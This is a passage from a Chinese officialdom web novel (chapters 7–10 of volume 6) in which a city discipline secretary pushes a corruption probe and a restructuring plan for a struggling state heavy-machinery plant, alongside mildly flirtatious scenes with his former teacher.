站长推荐



热门搜索

站长推荐

[都市]官道之色传-11

  


第六卷 棋盘上的飞刀 第07章 懒汉的做法
看了关于闵江重机厂的信访材料,王思宇的心情变得异常糟糕,虽然绝大多数国企中都存在着一些管理问题,但对于闵江重机来讲,这样的现象格外严重,在企业最为困难的时期,现任厂领导却依旧巧立名目,大搞公款吃喝,还私设小金库,为管理层发放高额福利。
而工人们反应较为强烈的六百万集资款,就有将近七十万元,被用作支付宾馆饭店的账单,其中大有猫腻,举报人显然是重机厂内部的财会人员,提供的证据极为详尽,完全可以据此展开立案调查,但不知为什么,举报信却被压了半年之久。
王思宇略一沉吟,就摸起电话,给纪委副书记田宏业拨了过去,十分钟后,田宏业敲门走了进来,拉了椅子坐下,瞄了一眼办公桌上的档案袋,微微一怔,随即笑道:“王书记,你在调查闵江重机?”
王思宇微微一笑,把那几封举报信推了过去,点头道:“老田啊,这些举报材料上提供的线索很具体,应该让监察四室介入,假如情况属实,就要采取措施,有这样的领导在,重机厂的情况只会越来越糟。”
田宏业皱了皱眉,耐着性子把几封举报信看完,就信件轻飘飘地丢下,摸出眼镜布,擦着厚厚的镜片,慢条斯理地道:“王书记,您刚到闵江市,可能还不清楚,重机厂的情况错综复杂,先后几任厂领导都出了问题,现在这种情况下,再追究下去,只会起负面作用,稳妥起见,还是先放放吧,这也是鲍书记的意思。”
王思宇倒没有想到,两人第一次谈工作,田宏业就把鲍昌荣抬出来当挡箭牌,这让他颇为不悦,望着对方嘴角挂着的一丝冷笑,王思宇慢悠悠地喝了口茶,不动声色地道:“田书记,我的意见恰恰相反,现在重机厂的职工群情激愤,已经有很多人到省城上访,给市里造成了很大的压力,在这种情况下,我们应该采取些必要的措施,化被动为主动,先把一些不法干部拿下来,安抚职工的情绪,并下决心解决问题,而不是一味拖延,重机厂的情况比较严重,越拖越不利于问题的解决。”
田宏业的火气也腾地上来,不冷不热地道:“田书记,这件事情,鲍书记是拍了板的,你在做决定前,是不是要提前向他请示下,免得出了乱子,影响到稳定大局。”
王思宇收起笑容,淡淡地道:“纪委办案要注重事实,只要对方有违法乱纪的情况,在权限许可下,我们就要坚持调查,至于最后的调查结果出来后,如何处理,自然要和市委主要领导沟通。”
田宏业板着面孔道:“王书记,既然你下了决心,我们照办就是,只是鲍书记那边,还请你提前打招呼,不然我不好交代。”
王思宇微微一笑,提笔在一封举报信上写下:“一查到底,绝不姑息,王思宇。”
随后把笔一丢,端起茶杯道:“好吧,田书记,那就这样,你们只管去查,放心吧,抓几个腐败分子,天塌不下来,出了问题我负责。”
田宏业阴冷的目光透过厚厚的镜片,盯着王思宇的眼睛,在对视了一分钟之后,有些不甘地收了回去,低声道:“好吧,我这就去安排。”
王思宇喝了口茶水,望着田宏业转身出了门,不禁微微一笑,对方既然用鲍昌荣来施压,那就要坚决顶回去,否则一旦开了这个头,以后只能更加被动,官场上最忌讳用上级来压人,这个田宏业居然毫无顾忌,一副有恃无恐的样子,那就必须好好敲打一番,要是连副手都摆不平,他这个市委常委就不要当下去了。
十几分钟后,座机上的电话铃声响起,王思宇接起电话,里面传出一个恭敬的声音来:“王书记您好,我是杨光,鲍书记请您到一号楼来趟,有事情商议。”
王思宇皱了皱眉,点头道:“好吧,我马上过去。”
出了纪委大楼,他来到鲍昌荣的办公室,却见房间里已经坐了几个人,分别是副书记马尚峰,常务副市长梁桂芝、市委秘书长鲁高阳,而鲍昌荣正站在窗前,举着手机和人轻声交谈。
王思宇与三人打了招呼,就坐在梁桂芝下首的沙发上,秘书杨光沏了茶水后,又分别向四人发了一份材料,随后转身退了出去。
摸起材料,王思宇翻了翻,见上面是解决重机厂问题的一份提案,他大致看了看,随后和梁桂芝交换下了眼神,两人都是轻轻摇头,而对面的副书记马尚峰眯着眼睛不说话,秘书长鲁高阳则点头道:“这个点子不错,要是能成功实施,倒是能缓解压力,起码也能再支撑几年。”
“嗯,陈总,那就说好了,过些日子一定要过来转转。”鲍昌荣笑容满面地打完电话,转过身来,把手机轻轻丢在办公桌上,拉了椅子坐好后,喝了口茶水,就笑着道:“李市长到下面县里视察,要晚上才能回来,咱们就不等他了,在开始前,我先解释一下,王书记分管纪委,本来是不需要参加讨论的,但他虽然年轻,在搞经济方面却是把好手,并且,他到了咱们闵江后,也很关注重机厂的事情,所以,我特地邀请王书记参加这次会议,给大家当参谋。”
其他三人都微笑着点头,示意认可他的决定,鲍昌荣顿了顿,又微笑道:“材料大家想必都看了,省城的华龙地产集团想来我们闵江市发展,他们在考察了市场之后,对重机厂的一百三十八亩地很感兴趣,打算出价收购下来,那边总共有三块地,总建筑面积二十八万平方米,如果按照现在的土地估值,出让价格要高于三个亿,我昨晚和他们的老总通过电话,经过慎重考虑,提出这份预案,计划对重机厂进行整体搬迁,从新港区迁移到东城区的郊外,有了这笔资金,可以暂时缓解重机厂的压力,大家先讨论下吧。”
说完后,鲍昌荣端起茶杯,望着屋里的四人,脸上露出淡淡的笑意。
秘书长鲁高阳笑着道:“鲍书记,这个办法好,重机厂一直是捧着金饭碗要饭吃,他们那块地段其实很不错,如果开发成商品房,对市里的财政收入也有很大的帮助,也能解了重机厂的燃眉之急,是个一举两得的好主意,我支持这个方案。”
副书记马尚峰皱了皱眉,沉吟道:“方案是不错,但治标治不了本,而且要完成搬迁,难度恐怕也不小,三千人的大厂搬到东城区那边,交通很不方便,要是工人们意见太大,很容易起来闹事。”
鲍昌荣叹了口气,把杯子放下,皱眉道:“不能由着他们的性子胡来,重机厂搞到现在这个样子,那是谁都不希望看到的,如今也没有太好的办法,只能拿着手电筒照着走,看见一米走一米,尽量维持下去,至于闹事的职工,总是会有的,不要怕,没什么大不了的,无非是我鲍昌荣再多背些骂名。”
梁桂芝迟疑了下,还是轻声道:“鲍书记,是不是先和改制工作组先通通气,让他们在重机厂开个会,争求下各方面的意见,如果重机厂内部反对声音不大,我们再下决定也不迟,毕竟这么大的工厂,搬迁总需要时间,也不必急于一时。”
鲍昌荣的脸色阴沉下来,摆手道:“不必了,吴方舟搞得那个工作组,在下面没起什么好作用,正事没干多少,竟添乱子,在重机厂的事情上,你们政府这边的工作一直都很被动,牵着不走,打着还倒退,既然你们怕担责任,不肯搞,那就按着我的方案来,不能再拖下去了,否则过了这个村,可就没这个店了。”
梁桂芝被当面呵斥了一通,脸色也有些挂不住了,涨红着脸,低头翻开黑皮本子,拿笔在上面唰唰地写了起来,也不知在写着什么。
王思宇注意到,她的右手抖得厉害,恐怕是气愤到了极点,他不禁大为挠头,鲍昌荣的家长作风实在是太严重了,确实有些独断专行,根本不顾忌他人的感受。
鲍昌荣端起杯子,呷了口茶水,望着王思宇道:“王书记,你也说说吧,这个办法怎么样?”
王思宇眯了眼睛想了一会,就摇头道:“我不同意这样搞,拆房子卖地解决不了问题,而且这样一折腾,容易把重机厂的人心搞散了,表面看是度过了难关,但实际是把问题推到了两三年后,到时重机厂的困难会更加严重,这是懒汉的做法,得过且过,不科学。”
鲍昌荣刚刚喝了茶水,听到他说到最后一句,险些喷了出来,在咳嗽了几声后,他瞪大了眼睛望着王思宇,愕然道:“王书记,你说什么?”
王思宇神色自若地道:“鲍书记,我说这是懒汉的做法,不科学。”
鲍昌荣火冒三丈,把杯子重重地镦在桌子上,盯着王思宇,一字一句地道:“王书记,你说得没错,这是懒汉的办法,那你给出个勤快人的好主意吧,让我们大伙都听听。”
屋子里顿时安静了下来,所有人都把目光落在王思宇的脸上,梁桂芝的手心里更是捏了一把汗,暗自为王思宇担心起来。


第六卷 棋盘上的飞刀 第08章 号脉
王思宇微微一笑,从沙发上站起来,向斜对面走去,来到饮水机旁,伸手从墙边的报纸栏内翻了翻,抽出一份当天的闵江晨报,放到鲍昌荣的办公桌上,沉着地道:“鲍书记,您可以先看看闵江晨报的第三版,那里有篇佚名转载的文章,对于我们解决重机厂的问题,或许能够有些启发。”
鲍昌荣满脸狐疑地接过报纸,翻到第三版,低头看了过去,半晌,他的表情变得凝重起来,把报纸递给副书记马尚峰,待其他两位常委都已传阅后,他才摆弄着手里签字笔,沉吟道:“王书记,你的意思是借助国企股份改造,将闵江重机包装上市,通过资本市场融资发展,是这样吧?”
王思宇点点头,喝了口茶水,微笑道:“鲍书记,我是有这个想法,通过这种渠道来解决融资问题,远比出售优质资产要好上很多,而且一旦重机厂上市成功,募集到的大笔资金完全可以支撑企业的长期发展。”
鲍昌荣把签字笔丢下,双手按着太阳穴,闭着眼睛思索着,皱眉道:“大家的意思呢?”
副书记马尚峰喝了口茶,把杯子放下,慢吞吞地道:“鲍书记,这个办法不可取,重机厂现在是负资产,没有利润,企业的债务也很沉重,根本不具备在股上市的条件,要想成功上市,只能弄虚作假,那样不太好吧?”
秘书长鲁高阳摸着下巴,沉思半晌,却点头道:“鲍书记,我对股市有些了解,倒觉得王书记提出的办法可行,国内有很多公司,在上市前都是严重亏损状态,经过包装上市后,不但能为地方减轻了包袱,股价还都炒翻了天,这种办法对于国有资产保值,甚至是升值都大有裨益,只是上市需要一定的时间,怕是远水解不了近渴。”
鲍昌荣沉思了一会,把目光落在梁桂芝身上,微笑道:“梁市长,你也发表下意见吧。”
梁桂芝扶了扶眼镜,笑着说:“王书记的意思,应该不是弄虚作假,通过上市甩掉包袱,而是我们应该为闵江重机上市积极创造条件,比如加快债权转股权的谈判,注入优质资产,尽快提升企业业绩,当然了,我的顾虑和高阳秘书长是一样的,也是担心远水解不了近渴。”
王思宇皱了皱眉,轻声道:“这些不是问题,重机厂现在的资金缺口,可以到省里积极争取,也可以通过拆借解决,但最重要的是,我们要对重机厂有长期的发展规划,所有的工作都围绕着规划去做,不要被困难牵着鼻子走,而是要主动进行大刀阔斧的改革。”
鲍昌荣轻轻点头,拿笔在本子上记了几行字,随后把笔丢下,端起茶杯,笑眯眯地道:“到省财政厅跑资金的事情,王书记是当仁不让了,只要争取到几千万元的资金,重机厂就可以暂时度过难关,只是你所说的大刀阔斧的改革,有具体思路吗?”
王思宇面沉似水,语气凝重地道:“本想到重机厂实地考察之后,再提出一些具体办法,但既然上会讨论了,我就先提出几点不成熟的设想,首先要积极推进改制,不改制,闵江重机的活力就激发不出来,久而久之,职工也会产生惰性心理,等着市里来救济,这点想必市里也已经意识到了,改制工作组正在操作,我就不多说了。其次是要分流职工,三千人的大厂,这个包袱太大了,只要背着它,重机厂肯定站不起来,市里也永远喘不过气来,市委应该牵头,组织相关部门,将重机厂的部分职工分流到其他企事业单位中,尤其是效益比较好的单位,也可以出台一些优惠政策,支持职工们自主创业。第三,输血解决不了问题,要想办法帮重机厂恢复造血功能,他们完全可以根据实际情况,采取多元化发展,比如重机厂有优质的地产资源,就可以单独成立房地产公司,建材公司,只要市里加大扶持力度,辅业应该能够发展起来。第四,上市融资所需要的条件很高,要想迈过那个门槛,短期内肯定做不到,但这条路还是要走,走了还有出路,不走就是死路一条,我们所需要做的,就是在企业融资完毕之后,迅速帮他们脱离困境,使他们早日成为优质的上市公司。”
王思宇讲完之后,就摸出一根烟来,点上之后,把打火机丢在茶几上,微笑道:“鲍书记,重病要下猛药,不拿出破釜沉舟的气魄来,重机厂的问题永远得不到解决。”
鲍昌荣霍地站起,背着手在屋子里走了几步,就停下脚步,大手一挥,沉声道:“就这么定了,咱们现在分工,马书记代表市委,去跑证券管理部门,为闵江重机的上市做准备;梁市长负责协调各单位,搞好闵江重机的职工分流工作,起码要分出一千人来,可以按批次走,不要一步到位,免得闹出乱子;鲁高阳秘书长负责联系相关企业,筹备个集团公司出来,把那几个亏损的涉农企业都装进去,搞个整体上市方案;王书记负责联系省财政厅,争取些资金救急,先把拖欠的工资发下去……”
众人拿笔记录完毕,马尚峰皱眉提醒道:“鲍书记,这个事情是不是要和李市长商议下?”
鲍昌荣摆了摆手,怫然不悦地道:“已经和他商量快两年了,越商量积压的问题越多,我的耐心早被他磨没了,重机厂的事情,我既然管了,就要管到底,再搞不好它,我向省委打报告辞职。”
王思宇等人面面相觑,知道鲍昌荣来了火气,就都不再说话,而是各自低头喝茶。
鲍昌荣抬手看了看表,就转身走回办公桌后,笑着道:“今天的会开得很好,不到四十分钟,就把问题解决了,还是开小会有效率,王书记,你留下来,其他人分头落实吧。”
三位常委站了起来,依次走了出去,王思宇侧了侧身,皱眉吸了口烟,笑着道:“鲍书记,还有什么指示?”
鲍昌荣爽朗地一笑,盯着王思宇看了一会,就抬手摩挲着前额,半开玩笑地道:“王书记,你到底还是年轻,沉不住气,这刚刚才到闵江,屁股还没坐热,就想搞新官上任三把火?”
王思宇淡淡一笑,伸手拂了拂膝盖,轻描淡写地道:“怎么,鲍书记,这么快就有人打小报告了?”
鲍昌荣摆了摆手,端起茶杯,表情严肃地道:“打了也没有用,我说过支持纪委的工作,就一定会兑现,我虽然很倚重老田,但他绝不是我鲍昌荣的亲兵,我也不想搞家天下,纪委那边的工作,你该怎么抓,就怎么抓,不要有顾虑。”
说到这里,他顿了顿,又抬高音量道:“只是有一点,我要提前申明,你在闵江搞反腐倡廉,要注意适度,不能搞地震。”
王思宇无所谓地摆摆手,展颜笑道:“鲍书记,纪委的工作,离不开市委的正确领导,重大案件的侦办,不可能绕过市委书记,这点请您放心。”
鲍昌荣含蓄地一笑,摇着椅子,慢悠悠地道:“放心吧,不会有大案子的,下面的干部我心里有数,违纪的不少,违法的不多,我对干部的态度是,只要能把工作干好了,其他的都好说,就算有些小缺点,也都是可以谅解的,纪委的工作也应该是这样,宜粗不宜细,不能拿着放大镜来照人,那样缩手缩脚的,谁都没法干事了。”
王思宇笑着点点头,鲍昌荣这个态度,勉强还是可以接受的,对方起码没有听信田宏业的片面之词,向自己施加压力,阻挠纪委办案,这也印证了鲍昌荣刚才的说法,他没有把纪委当成自家后院,这样一来,王思宇就没有被架空的危险,两人之间也就不会发生直接对抗,这是他乐于见到的,毕竟,直到目前为止,他对鲍昌荣的评价还是正面居多,甚至觉得,两人之间隐隐有些相似之处。
正想到此处,鲍昌荣已经笑了,他望着王思宇,颇为感慨地道:“王书记,你还真是年轻气盛,和我以前的脾气差不多,敢想敢说,只要认为自己的看法是正确的,就敢当面和一把手顶牛。”
王思宇微微一笑,把半截烟掐灭,丢到烟灰缸里,含而不露地送了个马屁过去,摇头说:“要因人而异的。”
鲍昌荣把身子仰在靠背椅上,悠然自得地转了几圈,做出一副很是受用的样子,笑着道:“这样说,你倒是号准我的脉了?”
王思宇呷了口茶水,摆手道:“那倒不是,我只是知道,闵江重机厂是你的一块心病,在这个问题上,可以不必绕弯子,甚至可以有争吵,但前提是,必须把情况迅速扭转过来,而且要干净利落,不留隐患。”
鲍昌荣眼睛一亮,重重地拍了下桌子,指着王思宇道:“好,你这句话是说到我心坎里去了,那咱们就不绕弯子了,第一,重机厂的事情你既然管了,就要管下去,直到把问题全部解决为止。第二,要想办法弄些钱过来,市财政现在也很紧张,暂时是顾不上重机厂了,你想办法从省财政厅弄两个亿下来。”
王思宇皱了皱眉,望着鲍昌荣伸出的两根手指,连连摆手道:“鲍书记,你可不要狮子大开口,我又不是打家劫舍的土匪,上哪给你抢这么多钱来,最多三千万,过了这个数,焦厅长也会和我翻脸的,财政厅也不是他家开的,数额太大,根本无法解决,不然咱们还搞上市融资做什么,不是多此一举嘛。”
鲍昌荣微微一笑,点头道:“也好,不过三千万太少了,就五千万吧,赶紧争取下来,重机厂的工资发不下来,集资款不能如数返还,我这个做市委书记的,比他们更着急。”
王思宇叹了口气,苦笑道:“鲍书记,只此一次,下不为例,我也不能总给焦厅长添麻烦,工作嘛,还是应该按着正常程序走,这样对大家都好。”
鲍昌荣笑笑,点头道:“是这个理,你放心,不会让你再犯难的。”
王思宇微微一笑,起身寒暄了几句,就告辞走了出去。
鲍昌荣点了一根烟,把玩着手中的打火机,哂然一笑,淡淡地道:“这小子,虽然张狂了点,倒也有些道行,是个人才。”


第六卷 棋盘上的飞刀 第09章 对弈
闵江宾馆三楼的餐厅里,王思宇望了眼坐在窗边的冰雪美人,微微一笑,端着餐盘坐到对面,轻声道:“周老师,早晨怎么没有下来吃饭?”
“起来晚了。”周媛放下筷子,抽出纸巾擦了擦嘴角,淡淡地道。
王思宇若有所思地点点头,笑着道:“是啊,昨晚我也没休息好,失眠了。”
周媛微微蹙眉,摸起餐桌上的果汁,把目光转向窗外,望着斜阳下波光粼粼的江面,不知在想着什么,过了半晌,她才回头向身后望了一眼,幽幽叹了口气,轻声道:“以后不要在一起吃饭。”
王思宇顺着她的目光望去,见周围有几个人正探头探脑地望向这边,不禁笑了笑,夹了块红烧肉丢在嘴里,砸然道:“怕什么,男未婚女未嫁,经常在一起吃饭怎么了,他们要是喜欢传闲话,尽管传好了。”
周媛轻轻摇头,把俏脸扭到一边,冷冰冰地道:“不关他们的事,是我不喜欢。”
王思宇微微一怔,皱了皱眉,郁闷地低下头,往嘴里扒拉着饭,低声道:“为什么?”
“就是不喜欢。”周媛淡淡地回道,她把果汁放在桌上,摸起身边的挎包站了起来,转身向外走去。
王思宇抬起头来,目送着她袅娜娉婷的倩影出了餐厅,不禁叹了口气,苦笑着道:“又碰了一鼻子灰,这个周老师,真是不讲情面。”
吃过晚饭,王思宇回到房间,正坐在沙发上吸烟,看着闵江电视台播放的新闻节目。
梁桂芝敲门走了进来,进屋就哼了一声,叉腰道:“你啊,真是过分,怎么不提前打招呼,就在会上乱放炮!”
王思宇呵呵一笑,泡了杯茶递过去,微笑道:“梁姐,你先别发火,坐下慢慢说。”
梁桂芝皱眉坐下,喝了口茶水,把杯子重重地往茶几上一鐓,低声道:“一千名职工啊,这么多的人,你让我往哪里分流,竟出馊点子。”
王思宇笑了笑,皱眉吸了口烟,摆手道:“鲍书记不是都讲了嘛,可以慢慢来,分批次搞。”
梁桂芝扶了扶眼镜,铁青着脸道:“他说得倒是轻松,我下午拨了十几个电话,都被人搪塞了下来,现在哪个单位都不缺人,咱们总不能下行政命令,硬逼着人家接收吧?”
王思宇摸着下巴道:“是啊,的确是很棘手的问题,不过没关系,梁姐,你也别着急,回头我帮你一起想办法解决。”
梁桂芝叹了口气,端起茶杯喝了一口,苦笑道:“闵江重机这滩浑水,别人躲都来不及呢,你却主动跳进去,真不知该说你什么。”
王思宇把身子向后一仰,抬头吐了几口烟圈,淡淡地道:“梁姐,你是知道我的,这种事情我一定要管的,不然晚上睡不着觉。”
梁桂芝抬手在鼻子前扇了扇,皱眉道:“在闵江重机的事情上,鲍昌荣和李晨在博弈,一个急着拆除定时炸弹,一个盼着早日炸响,你没有把情况摸清,就冒然钻进去,别当了替死鬼。”
王思宇沉思了一会,掸了掸烟灰,笑着道:“先不管那么多了,这样也好,作为交换,鲍昌荣应该会支持纪委的工作,有利于我站稳脚跟。”
梁桂芝转动着茶杯,轻声道:“鲍书记想撇开李晨,单独解决闵江重机的事情,恐怕没那么容易,李晨不会让他轻易解套的,我担心过些日子,会出乱子。”
王思宇微微皱眉,吸了口烟,把半截烟掐灭,丢到烟灰缸里,低声道:“梁姐,他会直接在闵江重机搞事?”
梁桂芝点了点头,心事重重地道:“有这个可能,分管工业的副市长吴方舟是他的人,那个改制工作组现在就在闵江重机,他们在底下还是有一定影响力的,要是搞出大乱子,惊动媒体,恐怕咱们都要承担责任。”
王思宇想了想,也神色凝重地道:“梁姐,还真要提防些,这段时间,对闵江重机那边要盯紧点,不要放松警惕,一旦出现谣言,要尽快澄清,免得被有心人利用,横生枝节。”
梁桂芝站了起来,走到梳妆镜边,理了理鬓角,懒洋洋地道:“早就安排了,我让市长助理刘延年也到重机厂去做工作,直到上市之前,都不能放松警惕,闵江重机是鲍昌荣走出的一招臭棋,省委主要领导对此也是耿耿于怀,一直都没有忘记,我要是李晨,也会惦记着把粪坑越扒越大,不会让他轻易遮掩过去。”
王思宇皱了皱眉,起身在客厅里踱了几步,摸起两只沉甸甸的哑铃,一边悠荡着,一边轻声道:“梁姐,今天的会上,马副书记的态度很是暧昧,他两次否决了闵江重机的提议,是不是也意味着,他的立场在向李晨倾斜?”
梁桂芝轻轻摇头,蹙眉道:“马尚峰在走中间路线,坐山观虎斗,这两人无论谁倒下去,对他都是有利的,不过总体上来讲,他对鲍昌荣的意见还是很大的,省里原本有意调鲍昌荣去省委任秘书长,可被鲍昌荣婉言拒绝了,他还想在闵江干一届,这样就成拦路虎了,班子成员肯定都有些不满。”
王思宇加快了速度,又挥动了几十下,直到身子微微出汗,才将哑铃放下,笑着道:“这件事情鲍昌荣讲过,其实这样的干部很难得的,只要他有这份决心,闵江的发展应该错不了。”
梁桂芝摸起一条毛巾丢了过去,皱眉道:“你啊,可不要被他的外表蒙蔽了,鲍昌荣可是头老狐狸,别看他外表粗犷,其实城府极深,尤其擅长反败为胜,当初段永祺就是被他蒙蔽,吃了大亏,你可不要被利用了,当做人家捉鬼的钟馗。”
王思宇摸着毛巾,擦了擦前胸后背,也凑到镜子前,眉飞色舞地道:“梁姐,你就放一百二十个心吧,有这么帅的钟馗吗?”
梁桂芝抿嘴一笑,摇头道:“你才来几天啊,哪里知道闵江的深浅,总之以后要小心些,别再轻易出头了。”
王思宇收起笑容,一脸凝重地道:“知道了,我也是想丢块石头下去,试试各方的反应,看看这闵江水到底有多深。”
梁桂芝轻轻点头,转身走到门边,回头道:“老俞周末要过来,到时租条船,咱们几个到江心岛上呆两天。”
王思宇嘿嘿笑道:“梁姐,那不好吧,你们两口子小别胜新婚,我们就不凑那热闹了。”
梁桂芝啐了一口,拿手指着王思宇,佯装生气地道:“你啊,再敢拿我这老太婆开涮,小心梁姐翻脸。”
王思宇忙拱手道:“梁姐,我可是一番好心,真不是拿你开涮,再说了,哪有这样年轻的老太婆啊,看起来跟三十出头差不多,改天俞书记过来滋润一下,可能就回到二十七八了。”
“你啊,油嘴滑舌的,没一句正经话!”梁桂芝嘴里虽然唠叨着,脸上却笑成了一朵花,推开房门后,就径直去了斜对面,敲响了周媛的房间。
王思宇进了浴室,冲过澡后,躺在白瓷浴缸里,闭了眼睛,回想着梁桂芝的提醒,也觉得不无道理,自己刚到闵江这边来,在立足未稳之际,的确应该韬光养晦,不宜锋芒外露。
毕竟市委领导班子中,哪个都不是无能之辈,很多问题,大家早已心中有数,不过是揣着明白装糊涂而已,会做事不等于会做官,要想不被这些家伙算计了,只能谨慎从事,否则一旦出了事情,很容易沦为替罪羊。
十几分钟后,王思宇从浴室里走出来,穿了件蓝色睡衣,走到写字台边,拿笔写了一篇稿子,随后转身出了门,敲开斜对面的房间。
周媛打开房门后,望了王思宇一眼,就转身坐回椅子上,伸手摸出一枚黑色的棋子,放在棋盘上,轻声道:“梁市长,我要打劫了。”
梁桂芝脸上带着一丝愁容,手里捏着白色的棋子,望着棋盘发呆,过了半晌,才向西南角落下一子,叹息道:“媛媛啊,你也不知让着我点,每次都输棋,搞得我心情很不好。”
周媛淡淡一笑,摇头道:“不能让,让了就没意思了。”
王思宇走了过去,站在周媛身后,目光落在她雪白滑腻的颈项上,摸着下巴沉吟道:“局势不妙啊,梁姐,唯今之计,只有置于死地而后生,才有机会反败为胜。”
梁桂芝抬头望了一眼,夹了一枚棋子,疑惑地道:“应该下到哪里?”
王思宇心里一虚,赶忙把头摇成拨浪鼓,摆手道:“梁姐,观棋不语真君子,我点到为止,这个还要你来做决定。”
周媛抬手拂了拂秀发,淡然道:“梁市长,你也毋须怕打劫,尽可一路粘下去,还有机会的。”
梁桂芝却举棋不定,沉思半晌,把棋子丢了下去,轻声叹息道:“算了,终究是下不过你的,不伤这个脑筋了。”
周媛淡淡一笑,把围棋收起来,沏了两杯茶水,轻声道:“梁市长,你进步还是很快的,刚刚学习围棋,就下得这样好,真是很难得呢!”
梁桂芝笑了笑,端起杯子喝了口茶,指着王思宇,似笑非笑地道:“媛媛,他在学校时表现怎么样?”
周媛转头瞥了一眼,冷冷地道:“上课从来都不专心,成绩一般,只是绘画不错。”
王思宇嘿嘿地笑了起来,转身坐到对面的沙发上,跷着二郎腿道:“周老师,哪有你说得那么不堪,我当时成绩还算不错的,也算名列前茅了。”
周媛淡淡一笑,低头喝了几口茶水,就拉了椅子站起来,轻声道:“你们先聊,我去洗澡。”
梁桂芝轻轻点头,见周媛进了浴室,就用手捅了捅王思宇,眨眼道:“原来还会作画,改天别忘了为我画一幅。”
王思宇摸着鼻子笑了笑,摇头道:“不成,我怕到时俞书记揍我哩。”
梁桂芝微微一怔,好奇地道:“好端端的,他揍你做什么?”
王思宇探过头去,故作神秘地道:“我最擅长的是美人出浴图。”
梁桂芝立时红了脸,啐了一口,拿手在王思宇的额头上戳了戳,忿忿道:“你啊,倒是和梁姐混熟了,什么疯话都敢讲!”
王思宇哑然失笑,找了纸笔,笑着道:“梁姐,现在就画吧,你这含羞带怯的模样,倒是少见。”
梁桂芝‘扑哧’一笑,却站了起来,走到房间门口,向浴室方向努努嘴,意味深长地道:“你啊,还是等着画美人出浴吧。”


第六卷 棋盘上的飞刀 第10章 狂草
见梁桂芝出了门,王思宇抬起双臂,做袋鼠状,左顾右盼一番,便迈着碎步,鬼鬼祟祟地溜到浴室门口,把耳朵贴在胡桃木门上,聚精会神地听了起来。
哗哗的水声在耳边响起,脑海里想象着美人老师出浴的情景,王思宇不禁心旌涤荡,摸着下巴,无声地笑了起来。
二十分钟后,周媛推门走了出来,她穿着淡粉色的睡袍,头上裹了一条素淡的毛巾,经过沐浴,她身上的肌肤如同牛奶般白皙细嫩,仿佛吹弹可破,而那张冷艳的脸孔上,也多出一抹淡淡的红晕,王思宇抬头望了一眼,食指微动,在沙发上题了‘酥、软、香、滑’四个字。
周媛缓缓走了过来,坐到对面的椅子上,淡然道:“这么晚了,怎么还不回去休息?”
王思宇微微一笑,把带来的稿子递了过去,轻声道:“周老师,刚才赶了一份稿子,请您帮忙润色一下。”
周媛微微蹙眉,伸手接过稿子,低头望了过去,过了半晌,才把稿子丢到茶几上,冷冷地道:“这样就可以了,不需要修改。”
王思宇‘唔’了一声,目光从那双白白嫩嫩的小脚上收了回来,笑着道:“周老师,你保持这样的姿势,不要动,我忽然来了灵感,想画张素描。”
周媛淡淡一笑,沉吟片刻,就抬手拂了下耳畔的发髻,扭动腰肢,把俏脸转到一边,轻声道:“那你快点,我有些倦了。”
王思宇点点头,把纸放好,拿着铅笔,在眼前比量了一下,就把铅笔放下,从沙发上站起,缓缓走到周媛的身后,伸手将她头上的毛巾解下,刹那间,一头潮湿的秀发如瀑布般垂下,披散在她的肩头。
周媛娇躯一颤,迟疑地道:“你……”
王思宇伸出双手,轻柔地抚摸了下她的香肩,低声道:“别紧张,马上就好。”
周媛倏地站起,走到对面的沙发上,转身坐下,从茶几上摸起文稿,递了过去,冷冰冰地道:“好了,我已经累了,你也早点休息吧。”
王思宇有些无奈地点点头,接过稿子,笑着道:“那好吧,周老师,你先休息,改天再画吧。”
周媛双手捧腮,怔怔地望着桌面,直到耳边传来轻微的关门声,她才轻吁了一口气,起身走到钢琴边,拉了椅子坐下,若有所思地抚摸着键盘,白皙的手指轻柔地动作着,忧伤舒缓的旋律顷刻间弥漫开来,与这寂静的夜晚融为一体。
王思宇站在门外,手里夹着一根烟,静静地聆听着,这曲子他以前听过,是《眼泪》,一首很出名的钢琴曲,虽然隔着一道房门,王思宇还是觉得,钢琴的按键如同敲打在心头,每个音符都在诠释着一种难以言传的情感。
或许,由于演奏者是周媛的缘故,王思宇很快进入了一种微妙的状态,居然陶醉于乐曲之中,忘记了周围的一切,直到最后一个按键落下,他竟似听到玫瑰花瓣凋零的声音,这种奇异的幻觉,令他唏嘘不已。
回到房间后,王思宇坐在写字台边,摸了纸笔,神情专注地画了起来,半个小时后,他把铅笔放下,摸起画纸,小心地吹去上面的铅粉,只见画中的玫瑰园里,站立着一位娇柔慵懒的冷艳美人。
仔细瞧去,那冷艳美女的眉眼风情,倒与周媛一般无二,许久没有作画,仍然能画得如此相像,他也不禁有些暗自得意,微微一笑,把画纸放下,满意地伸了个懒腰,抬腕看了看表,见时间还早,就又翻出那本《艳史通鉴》,坐在床边,孜孜不倦地钻研起来。
直到凌晨,王思宇才把书合上,丢到一旁,拉起被子,伸手关了壁灯,把双手枕在脑后,耳边仿佛又响起那首忧伤的钢琴曲来,周媛的身影也在眼前晃来晃去,挥之不去,他躺在被窝里,翻来覆去折腾了许久,终于打熬不住,昏昏沉沉地睡了过去。
早晨醒来,洗漱完毕,王思宇走出房间,来到斜对门,蹲下身子,假装系着鞋带,见没人注意,就把画纸从袖口里抽了出来,展开后,顺着门缝丢了进去,随后咳嗽一声,拍了拍手,若无其事地走开。
接下来两天,闵江重机那边没有任何动静,而监察四室正在对重机厂的领导进行秘密调查,在这个当口,王思宇不想兴师动众地赶过去,免得那些人有所察觉,给案件侦办带来不利影响。
他和省财政厅的焦南亭通了电话,把资金的事情提了一下,焦南亭很是支持,让闵江这边抓紧时间,把报告打上去,争取在月底前把资金落实到位。
资金虽然有了着落,王思宇却没有感觉到轻松,又开始琢磨着职工安置问题,此事也极为棘手,按照他最初的设想,重机厂这三千名职工,应该‘主业稳定一千人,三产开发一千人,劳务输出一千人。’
但梁桂芝那边收效不大,她经过一番联系,只解决了一百多岗位,还有八百多人没有办法安排,闵江市的劳务市场不大,肯定吸收不了这样多的新增劳动力,剩下的职工若是不能妥善安置,都涌入社会,显然是严重的不稳定因素。
况且,要想让这些职工平稳撤出重机厂,最好是先行安排好,实现岗位对接,平稳过渡,只有把工作做到最细,才能保证职工们的情绪稳定,否则势必会闹出一场轩然大波,但闵江市工业落后太多,尤其缺少劳动密集型企业,任他绞尽脑汁,一时间,却也想不出太好的办法。
周五的下午,下班之后,他回到宾馆,闷闷不乐地吃了晚餐,就独自回到房间,躺在沙发上冥思苦想,正挠头时,敲门声响起,王思宇下了地,走到门口,打开房门,却见俞汉涛出现在眼前,他穿着一身米色休闲装,留着小*平头,脸上气色极好,一副红光满面的样子。
